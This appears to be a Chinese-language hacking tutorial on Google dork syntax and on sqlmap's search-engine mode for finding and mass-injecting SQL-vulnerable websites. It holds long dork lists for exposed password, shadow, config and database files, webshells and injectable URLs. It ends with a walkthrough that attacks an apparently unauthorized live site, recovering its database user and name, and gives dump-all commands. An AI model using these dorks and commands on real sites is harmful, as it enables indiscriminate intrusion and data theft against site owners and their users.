sqlamp利用搜索引擎获取目标地址进行注入
优采云 发布时间: 2022-06-14 14:28sqlamp利用搜索引擎获取目标地址进行注入
随着近今年安全事件频出,个人和公司安全意识大大提高,过去对一个站点随便一试就存在sql注入漏洞的时光一去不返,但互联网上千千万万公司,还有很多站点存在sql注入漏洞,好在sqlmap提供了google搜索注入,通过定义url值来进行大批量的搜索,找到url后直接进行测试,这个测试最关键的地方就是找到一个合适的定义名称,也即搜索的文件名称,本文主要介绍google黑客的一些语法和如何利用google进行sqlmap注入目标的选定和测试。
3.7.1google黑客语法
目前世界上的搜索引擎主要有google、百度等,搜索引擎最出名的应该是google,最好用的也是google,不过现在google被墙了(需要购买VPN或者通过sock5代理才能访问),google其强大的搜索功能,可以在瞬间找到想要的一切。对于普通的用户而言,Google是一个强大的搜索引擎,但对于黑客而言,则可能是一款绝佳的黑客辅助工具,google每天不间断的对世界上的网站进行爬取,相当于一个巨型漏洞扫描器。因此黑客可以构造特殊的关键字语法,使用Google搜索关键字配置等信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息来进行入侵的技术和行为。
1.google基础语法
Google 不分大小写;Google 可以使用通配符“*”表示一个词/字;Google 会智能地保留一些内容,比如一些过时的词,一些不适合呈现的内容(比如违法信息);最常用的"关键字",双引号会使Google强制搜索包含关键字的内容;布尔操作符AND(+)、NOT(-)、OR(|),AND现在已不需要,多个关键字google会都匹配到。
(1)inurl——搜索包含有特定字符的URL
inurl:admin/manager 则可以找到带有admin/manager字符的URL,通常这类网址是管理员后台的登录网址,其它后台地址名称还有:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
(2)intext(allintext)——搜索网页正文内容中的指定字符
intext(allintext):网页内容查找关键字,例如输入“intext:百度”,这会查找包含百度关键字的网页。
(3)site——限制显示某个域名的所有页面
site: 则仅仅显示域名,同时还可以使用“-”进行排除。
(4)filetype——对目标进行某些文件类型检索
filetype后跟文件类型,目前常见的类型有doc、xml、rar、docx、inc、mdb、txt
、email、xls、.sql、inc、conf、txtf、xml、pdf、zip、tar.gz、xlsl等。
例如搜索doc文档,则在搜索输入框中键入:filetype:doc,这种方法主要是搜索某目标网站的一些通过google爬虫爬取的信息。filetype后跟脚本语言后缀,例如搜索asp脚本:filetype:asp,其它类型类似,主要有jsp、php、aspx、cfm等,可以仅仅查看这些脚本的url。
(5)intitle——限制搜索的网页标题页面
搜索网页标题中包含有特定字符的网页,allintitle: 搜索所有关键字构成标题的网页.(allintite:关键字或者url地址)
(6)link——将显示跟指定网页的所有链接的网页
(7)cache——将显示在Google cache中的网页
(8)info——查找指定站点的一些基本信息
2.操作符说明
在google中共有“+”、“-”、“~”、“.”、“*”、“""”等操作符,其中“+“表示将可能忽略的字列入查询范围,“-”把某个关键字忽略,“~”同意词、“.”单一的通配符,“*”通配符,可代表多个字母;“""”精确查询。
3.google黑客的一些应用
(1)搜索敏感信息泄露
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" admin
inurl:service.pwd
intitle:phpmyadmin intext:Create newdatabase//搜索phpmyadmin直接进入后台
intitle:"php shell*" "Enablestderr" filetype:php//批量搜索webshell
intitle:"index of" data//列出data目录
intilte:"error occurred" ODBCrequest where (select|insert)//搜索sql注入出错页面
intitle:index.of filetype:log//搜索日志文件
(2)查找管理后台
intitle:管理
intitle:登录
intitle:后台
intitel:"后台登录"
(3)查找警告错误信息
intile:error
intitle:warning
0x004 inurl的用法
(3)查找数据库和配置文件
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inurl:inc/conn.asp
inurl:"viewerframe?mode="//搜索*敏*感*词*地址
inurl:db
inurl:mdb
inurl:config.txt
inurl:bash_history
inurl:data filetype:mdb//搜索mdb格式数据库
(4)搜索备份文件
inurl:temp
inurl:tmp
inurl:backup
inurl:bak
(5)inurl中查找注入点
site: filetype:asp
site:tw inurl:asp?id=//这个是找台湾的
site:jp inurl:php?id=// 这个是找日本的
site:ko inurl:jsp?id=// 这个是找韩国的
(6)目标遍历漏洞
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
“inde xof/ inurl:lib
3.7.2google黑客入侵方法及思路
1.获取主域名下的所有其他子域名或者页面信息
site:
2.找各个子域名的管理后台
site:intitle:管理或者后台或者登陆等关键字
site: inurl:login或者inurl:admin可以跟常用的后台路径
site: intext:管理或者后台或者登陆等关键字
3.查找各子域名脚本文件
site: filetype:jsp
site: filetype:aspx
site: filetype:php
site: filetype:asp
可以穷尽化对各个子域名的脚本文件页面。
4.查找上传路径地址
site: inurl:file
site: inurl:load
site: inurl:file
5.收集email邮箱等敏感信息
6.对存在脚本页面及传入参数进行sql注入测试
7.对收集到的域名进行漏洞扫描
3.7.3sqlmap利用搜索引擎进行注入命令参数
sqlmap中提供了google进行批量获取注入的命令,通过该命令可以批量获取url,对存在其中的url进行注入测试。
1.命令参数
sqlmap.py -g inurl:asp?id=
sqlmap.py -g inurl:aspx?id=
sqlmap.py -g inurl:php?id=
sqlmap.py -g inurl:jsp?id=
2.可以使用--batch进行自动判断和注入
注意:
(1)国内用户无法翻墙进行注入测试,测试时必须使用代理或者vpn。
(2)在kali中sqlmap命令为sqlmap -g
3.其它命令跟sqlmap进行sql注入类似
4.技巧
在定义inurl:asp?id=中指定具体的文件名称,这个名称越不大众化,越容易找出漏洞来。
5.常见的一些注入点搜索关键字
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in=inurl:gallery.php?id=
inurl:trainers.php?id=inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id=inurl:labels.php?id=inurl:view_faq.php?id=
inurl:news_display.php?getid=inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option=inurl:look.php?ID=inurl:detail.php?ID=
inurl:readnews.php?id=inurl:newsone.php?id=inurl:index.php?=
inurl:top10.php?cat=inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id=inurl:material.php?id=inurl:category.php?id=
inurl:event.php?id=inurl:opinions.php?id=inurl:publications.php?id=
inurl:product-item.php?id=inurl:announce.php?id=inurl:fellows.php?id=
inurl:sql.php?id=inurl:rub.php?idr=inurl:downloads_info.php?id=
inurl:index.php?catid=inurl:galeri_info.php?l=inurl:prod_info.php?id=
inurl:news.php?catid=inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id=inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id=inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id=inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id=inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category=inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID=inurl:art.php?idm=inurl:ray.php?id=
inurl:play_old.php?id=inurl:title.php?id=inurl:produit.php?id=
inurl:declaration_more.php?decl_id=inurl:news_view.php?id=inurl:pop.php?id=
inurl:pageid=inurl:select_biblio.php?id=inurl:shopping.php?id=
inurl:games.php?id=inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file=inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id=inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id=inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id=inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id=inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id=inurl:kategorie.php4?id=inurl:theme.php?id=
inurl:newsitem.php?num=inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id=inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat=inurl:faq2.php?id=inurl:tradeCategory.php?id=
inurl:historialeer.php?num=inurl:show_an.php?id=inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=inurl:preview.php?id=inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num=inurl:opinions.php?id=inurl:channel_id=
inurl:game.php?id=inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id=inurl:pages.php?id=inurl:preview.php?id=
inurl:newsone.php?id=inurl:announce.php?id=inurl:loadpsb.php?id=
inurl:sw_comment.php?id=inurl:clanek.php4?id=inurl:pages.php?id=
inurl:news.php?id=inurl:participant.php?id= about.php?cartID=
inurl:avd_start.php?avd=inurl:download.php?id= accinfo.php?cartId=
inurl:event.php?id=inurl:main.php?id= add-to-cart.php?ID=
inurl:product-item.php?id=inurl:review.php?id= addToCart.php?idProduct=
inurl:sql.php?id=inurl:chappies.php?id=addtomylist.php?ProdId=
inurl:material.php?id=inurl:read.php?id=
inurl:clanek.php4?id=inurl:prod_detail.php?id=
inurl:announce.php?id=inurl:viewphoto.php?id=
inurl:chappies.php?id=inurl:article.php?id=
inurl:read.php?id=inurl:person.php?id=
inurl:viewapp.php?id=inurl:productinfo.php?id=
inurl:viewphoto.php?id=inurl:showimg.php?id=
inurl:rub.php?idr=inurl:view.php?id=
inurl:galeri_info.php?l=inurl:website.php?id=
3.7.4实际测试案例
1.寻找可供注入点的目标网站
在kali下,使用“sqlmap -g inurl:details.php?id=”命令进行google搜索,如图1所示,首先对第一个目标进行测试,输入“Y”进行确认,也可以选择q,不测试该目标,继续测试后续的目标。
图1对第一个url进行sql注入测试
sqlmap如果第一个url获取的注入不存在漏洞,则会寻找下一个url进行注入,同时url计数为2,后续每一个注入计数加1,可以在参数后面增加--batch自动提交判断。
2.sql注入漏洞测试
如图2所示,对该注入点进行注入漏洞测试,该url一共存在四种类型的sql注入,基于布尔盲注、出错注入、基于时间盲注和联合查询注入。
图2获取四种类型的sql注入
3.基本信息获取
sqlmap支持多个参数并列获取,如图3所示,获取当前数据库、当前数据库名称、数据库用户,mysql用户以及密码等信息,有些字段需要有相对应的权限才能获取,执行命令:
“sqlmap -u --dbs --current-db --current-user--users --passwords”,在本例中获取数据库用户finvent2@localhost,当前数据库为finvent_out。
图3获取基本信息
4.数据库获取
(1)获取当前数据库下所有表
sqlmap -u -D finvent_out --tables
执行后,如图4所示,获取当前数据库finvent_out中的16个表名。
图4获取所有表名
(2)获取当前用户下的所有数据
sqlmap -u --dump-all//获取所有数据库
sqlmap -u -Dfinvent_out //仅仅获取finvent_out数据库的数据。
参考文章: